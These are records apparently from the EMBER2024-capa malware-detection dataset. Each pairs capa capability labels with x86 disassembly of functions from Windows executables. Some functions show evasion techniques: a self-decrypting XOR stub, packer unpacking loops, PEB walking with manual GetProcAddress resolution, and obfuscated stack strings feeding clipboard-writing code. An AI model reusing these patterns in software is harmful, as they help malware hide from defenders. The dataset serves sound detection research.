joyce8/EMBER2024-capa huggingface dataset:
Function at 0x460a10
Capabilities:
Accept command line arguments

Disassembly:
push 0xffffffffffffffff
push 0x4baa59
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5f4f2c]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
lea eax, [esp + 0x1c]
xor edi, edi
push eax
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebp, eax
cmp ebp, edi
jne 0x460a6f
mov eax, dword [esp + 0x40]
mov dword [eax], edi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
lea ecx, [esp + 0x14]
push ecx
call dword [0x5f2e14]
add esp, 4
mov esi, dword [eax]
mov dword [esp + 0x38], 1
mov dword [esp + 0x24], esi
cmp esi, edi
je 0x460a99
push esi
call dword [0x5f2de8]
add esp, 4
mov eax, dword [esp + 0x14]
mov byte [esp + 0x38], 3
cmp eax, edi
je 0x460ab4
push eax
call dword [0x5f2dec]
add esp, 4
mov dword [esp + 0x14], edi
cmp dword [esp + 0x1c], edi
jle 0x460b3e
mov bl, 4
mov edx, dword [ebp + edi*4]
push edx
lea eax, [esp + 0x1c]
push eax
call dword [0x5f2e00]
mov eax, dword [eax]
add esp, 4
mov ecx, esp
mov byte [esp + 0x3c], bl
mov dword [esp + 0x2c], esp
mov dword [ecx], eax
test eax, eax
je 0x460aef
push eax
call dword [0x5f2de8]
add esp, 4
push ecx
mov eax, esp
mov byte [esp + 0x40], 5
mov dword [esp + 0x34], esp
mov dword [eax], esi
test esi, esi
je 0x460b0b
push esi
call dword [0x5f2de8]
add esp, 4
mov byte [esp + 0x40], bl
call dword [0x5f2e38]
mov eax, dword [esp + 0x20]
add esp, 8
mov byte [esp + 0x38], 3
test eax, eax
je 0x460b37
push eax
call dword [0x5f2dec]
add esp, 4
mov dword [esp + 0x18], 0
inc edi
cmp edi, dword [esp + 0x1c]
jl 0x460ac0
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [esp + 0x40]
mov dword [edi], esi
test esi, esi
je 0x460b59
push esi
call dword [0x5f2de8]
add esp, 4
mov dword [esp + 0x20], 1
mov byte [esp + 0x38], 0
test esi, esi
je 0x460b74
push esi
call dword [0x5f2dec]
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x46bb90
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
mov edi, ecx
cmp dword [edi + 4], 0
jne 0x46bbee
push ebx
mov ebx, dword [esp + 0xc]
push esi
lea esi, [edi + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 0x40
mov eax, 0x46baa0
mov dword [edi + 4], ebx
sub eax, esi
push 0xd
sub eax, 0xd
push esi
mov dword [esi], 0x42444c7
mov dword [esi + 4], edi
mov byte [esi + 8], 0xe9
mov dword [esi + 9], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push esi
push 0xfffffffffffffffc
push ebx
call dword [sym.imp.USER32.dll_SetWindowLongW]
pop esi
mov dword [edi + 8], eax
pop ebx
pop edi
ret 4

Function at 0x4748f0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
mov ebx, ecx
mov eax, dword [ebx + 4]
push edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov edi, dword [esp + 0x10]
mov esi, eax
mov eax, dword [edi]
mov edx, dword [eax - 8]
sub eax, 0x10
mov ecx, 1
sub ecx, dword [eax + 0xc]
sub edx, esi
or ecx, edx
jge 0x474923
push esi
mov ecx, edi
call fcn.00401730
mov eax, dword [edi]
test esi, esi
jl 0x474975
cmp esi, dword [eax - 8]
jg 0x474975
mov dword [eax - 0xc], esi
mov ecx, dword [edi]
xor edx, edx
mov word [ecx + esi*2], dx
inc esi
push esi
push eax
mov eax, dword [ebx + 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test eax, eax
je 0x47495d
push ecx
push eax
call fcn.00494db7
add esp, 8
test eax, eax
jl 0x474975
mov ecx, dword [edi]
cmp eax, dword [ecx - 8]
jg 0x474975
mov dword [ecx - 0xc], eax
mov ecx, dword [edi]
pop edi
xor edx, edx
pop esi
mov word [ecx + eax*2], dx
pop ebx
ret 4
push 0x80070057
call fcn.00401060
int3

Function at 0x4755f5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x475619
cmp dword [edi + 0x54], 0
jne 0x475619
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00480b04
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004755b6
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x47b29d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x47b2e4
call fcn.00480b04
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x47b2e4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x47b300
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0047ae15
mov esi, eax
test edi, edi
je 0x47b2fe
test ebx, ebx
je 0x47b2fe
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x47c12a
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4bd240
call fcn.00497f00
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x47c14f
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x47c195
lea ecx, [ebp - 0x10]
call fcn.004017f0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004756c2
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401080
mov eax, esi
call fcn.00497fd8
ret 8

Function at 0x47f741
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x47f789
call fcn.00480b04
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x47f789
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x47f7cc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x47f7b5
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x47f7b5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x47f7c9
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x481c0e
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x481c39
call fcn.00480b04
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi + 8], eax
test eax, eax
jne 0x481c5c
push eax
push dword [esi + 4]
call fcn.00481b94
push esi
push eax
mov ecx, 0x613a8c
call fcn.00481841
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x4939ec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5f4f2c]
jne 0x4939f6
repz ret
jmp fcn.0049f10c

Function at 0x4ac113
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0049c433
and dword [ebp - 4], 0
cmp dword [0x6148e8], 0
mov ebx, eax
jne 0x4ac1c4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4ac275
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4ac275
push eax
call fcn.0049c3c1
mov dword [esp], 0x5da3e8
push edi
mov dword [0x6148e8], eax
call esi
push eax
call fcn.0049c3c1
mov dword [esp], 0x5da3d4
push edi
mov dword [0x6148ec], eax
call esi
push eax
call fcn.0049c3c1
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x6148f0], eax
call esi
push eax
call fcn.0049c3c1
pop ecx
mov dword [0x6148f8], eax
test eax, eax
je 0x4ac1c4
push 0x5da3a0
push edi
call esi
push eax
call fcn.0049c3c1
pop ecx
mov dword [0x6148f4], eax
mov eax, dword [0x6148f4]
cmp eax, ebx
je 0x4ac21c
cmp dword [0x6148f8], ebx
je 0x4ac21c
push eax
call fcn.0049c43c
push dword [0x6148f8]
mov esi, eax
call fcn.0049c43c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4ac21c
test edi, edi
je 0x4ac21c
call esi
test eax, eax
je 0x4ac213
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4ac213
test byte [ebp - 0xc], 1
jne 0x4ac21c
or dword [ebp + 0x10], 0x200000
jmp 0x4ac255
mov eax, dword [0x6148ec]
cmp eax, ebx
je 0x4ac255
push eax
call fcn.0049c43c
pop ecx
test eax, eax
je 0x4ac255
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4ac255
mov eax, dword [0x6148f0]
cmp eax, ebx
je 0x4ac255
push eax
call fcn.0049c43c
pop ecx
test eax, eax
je 0x4ac255
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x6148e8]
call fcn.0049c43c
pop ecx
test eax, eax
je 0x4ac275
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4ac277
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x441c9a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00441838

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x7d7ad0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.MzY1
lea edi, [esi - 0x235000]
push edi
or ebp, 0xffffffff
jmp 0x7d7af2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7d7af9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7ae8
mov eax, 1
add ebx, ebx
jne 0x7d7b0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7d7b1c
jne 0x7d7b3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7b3b
dec eax
add ebx, ebx
jne 0x7d7b28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7d7b00
add ebx, ebx
jne 0x7d7b37
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7d7b8d
xor ecx, ecx
sub eax, 3
jb 0x7d7b53
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7d7bc2
sar eax, 1
mov ebp, eax
jmp 0x7d7b5e
add ebx, ebx
jne 0x7d7b5e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7b2c
inc ecx
add ebx, ebx
jne 0x7d7b6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7b2c
add ebx, ebx
jne 0x7d7b79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7d7b6e
jne 0x7d7b8a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7d7b6e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7d7bac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7d7b9e
jmp 0x7d7aee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7d7bac
add edi, ecx
jmp 0x7d7aee
pop esi
mov edi, esi
mov ecx, 0x67b0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7d7bca
cmp byte [edi], 0x22
jne 0x7d7bca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7d7bcf
lea edi, [esi + 0x3d4000]
mov eax, dword [edi]
or eax, eax
je 0x7d7c47
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3d9494]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3d95ac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7d7bfc
mov ecx, edi
jns 0x7d7c2b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3d95b0]
or eax, eax
je 0x7d7c41
mov dword [ebx], eax
add ebx, 4
jmp 0x7d7c19
call dword [esi + 0x3d95c0]
mov ebp, dword [esi + 0x3d95b4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7d7c7b
sub esp, 0xffffff80
jmp 0x4ed8f4
Function at 0x556210
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd7000]
push edi
jmp 0x55622a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x556231
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x556220
mov eax, 1
add ebx, ebx
jne 0x556243
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x556254
jne 0x556273
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x556273
dec eax
add ebx, ebx
jne 0x556260
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x556238
add ebx, ebx
jne 0x55626f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5562c5
xor ecx, ecx
sub eax, 3
jb 0x55628b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5562fa
sar eax, 1
mov ebp, eax
jmp 0x556296
add ebx, ebx
jne 0x556296
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x556264
inc ecx
add ebx, ebx
jne 0x5562a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x556264
add ebx, ebx
jne 0x5562b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5562a6
jne 0x5562c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5562a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5562e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5562d6
jmp 0x556226
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5562e4
add edi, ecx
jmp 0x556226
pop esi
mov edi, esi
mov ecx, 0x4c1e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x556302
cmp byte [edi], 0xe
jne 0x556302
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x556307
lea edi, [esi + 0x14d000]
mov eax, dword [edi]
or eax, eax
je 0x55637f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x156960]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x156a4c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x556334
mov ecx, edi
jns 0x556363
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x156a54]
or eax, eax
je 0x556379
mov dword [ebx], eax
add ebx, 4
jmp 0x556351
call dword [esi + 0x156a50]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5563b0
cmp al, 0xef
ja 0x5563a3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x556385
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x556392
mov ebp, dword [esi + 0x156a58]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5563e4
sub esp, 0xffffff80
jmp 0x4012a2
Function at 0x401aa0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov edx, ecx
sub esp, 8
mov eax, dword [edx + 0x3c]
cmp dword [eax + edx + 0x7c], 0
jne 0x401ab8
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [eax + edx + 0x78]
test eax, eax
je 0x401ab2
mov ecx, dword [eax + edx + 0x24]
add ecx, edx
push ebx
mov ebx, dword [eax + edx + 0x20]
mov dword [ebp - 4], ecx
add ebx, edx
mov ecx, dword [eax + edx + 0x1c]
push esi
mov esi, dword [eax + edx + 0x18]
add ecx, edx
push edi
mov dword [ebp - 8], ecx
xor edi, edi
xor ecx, ecx
dec esi
mov eax, dword [ebx + ecx*4]
add eax, edx
cmp byte [eax], 0x47
jne 0x401b3c
cmp byte [eax + 1], 0x65
jne 0x401b3c
cmp byte [eax + 2], 0x74
jne 0x401b3c
cmp byte [eax + 3], 0x50
jne 0x401b3c
cmp byte [eax + 4], 0x72
jne 0x401b3c
cmp byte [eax + 5], 0x6f
jne 0x401b3c
cmp byte [eax + 6], 0x63
jne 0x401b3c
cmp byte [eax + 7], 0x41
jne 0x401b3c
cmp byte [eax + 8], 0x64
jne 0x401b3c
cmp byte [eax + 9], 0x64
jne 0x401b3c
cmp byte [eax + 0xa], 0x72
jne 0x401b3c
cmp byte [eax + 0xb], 0x65
jne 0x401b3c
cmp byte [eax + 0xc], 0x73
jne 0x401b3c
cmp byte [eax + 0xd], 0x73
je 0x401b4a
inc ecx
cmp ecx, esi
jbe 0x401ae4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 8]
movzx eax, word [eax + ecx*2]
mov edi, dword [edi + eax*4]
add edi, edx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ee0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x43206c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x7c], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x7c], eax
mov esi, dword [ebp - 0x7c]
mov ecx, esi
call fcn.00401aa0
mov ebx, eax
mov dword [ebp - 0x20], 0x64616f4c
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], 0x7262694c
push eax
push esi
mov dword [ebp - 0x18], 0x41797261
mov byte [ebp - 0x14], 0
call ebx
mov edi, eax
mov dword [ebp - 0x10], 0x72657375
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x642e3233
push eax
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
call edi
movaps xmm0, xmmword [0x42f730]
lea eax, [ebp - 0x30]
push eax
movups xmmword [ebp - 0x64], xmm0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x30], 0x6e65704f
movaps xmm0, xmmword [0x42f740]
push eax
mov dword [ebp - 0x2c], 0x70696c43
mov dword [ebp - 0x28], 0x72616f62
mov word [ebp - 0x24], 0x64
mov dword [ebp - 0x40], 0x736f6c43
mov dword [ebp - 0x3c], 0x696c4365
mov dword [ebp - 0x38], 0x616f6270
mov word [ebp - 0x34], 0x6472
mov byte [ebp - 0x32], 0
mov byte [ebp - 0x54], 0
mov dword [ebp - 0x50], 0x74706d45
mov dword [ebp - 0x4c], 0x696c4379
mov dword [ebp - 0x48], 0x616f6270
mov word [ebp - 0x44], 0x6472
mov byte [ebp - 0x42], 0
movups xmmword [ebp - 0x78], xmm0
mov byte [ebp - 0x68], 0
call edi
push eax
call ebx
mov esi, eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
call edi
push eax
call ebx
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x10]
push eax
call edi
push eax
call ebx
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x10]
push eax
call edi
push eax
call ebx
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x10]
push eax
call edi
push eax
call ebx
push 0
mov edi, eax
call esi
test eax, eax
je 0x402084
call dword [ebp - 0x84]
mov ebx, dword [ebp - 0x88]
mov ecx, dword [ebx + 0x10]
inc ecx
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x402081
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, eax
test ecx, ecx
je 0x402081
cmp dword [ebx + 0x14], 0x10
mov eax, dword [ebx + 0x10]
jb 0x402069
mov ebx, dword [ebx]
inc eax
push eax
push ebx
push ecx
call fcn.0040fee0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call edi
call dword [ebp - 0x80]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d4d6
mov esp, ebp
pop ebp
ret
Function at 0x403cb0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x403ce1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x403cd0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x41249c
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x426160
push 0x426158
push str.FlsAlloc
push 0
call fcn.0041241c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4124ce
push dword [ebp + 8]
mov ecx, esi
call fcn.0040da06
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x412510
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x426170
push 0x426168
push str.FlsGetValue
push 2
call fcn.0041241c
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x412541
mov ecx, esi
call fcn.0040da06
call esi
jmp 0x412547
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x41254a
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x426178
push 0x426170
push str.FlsSetValue
push 3
call fcn.0041241c
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x41257e
mov ecx, esi
call fcn.0040da06
call esi
jmp 0x412584
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x41be3f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041baff

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx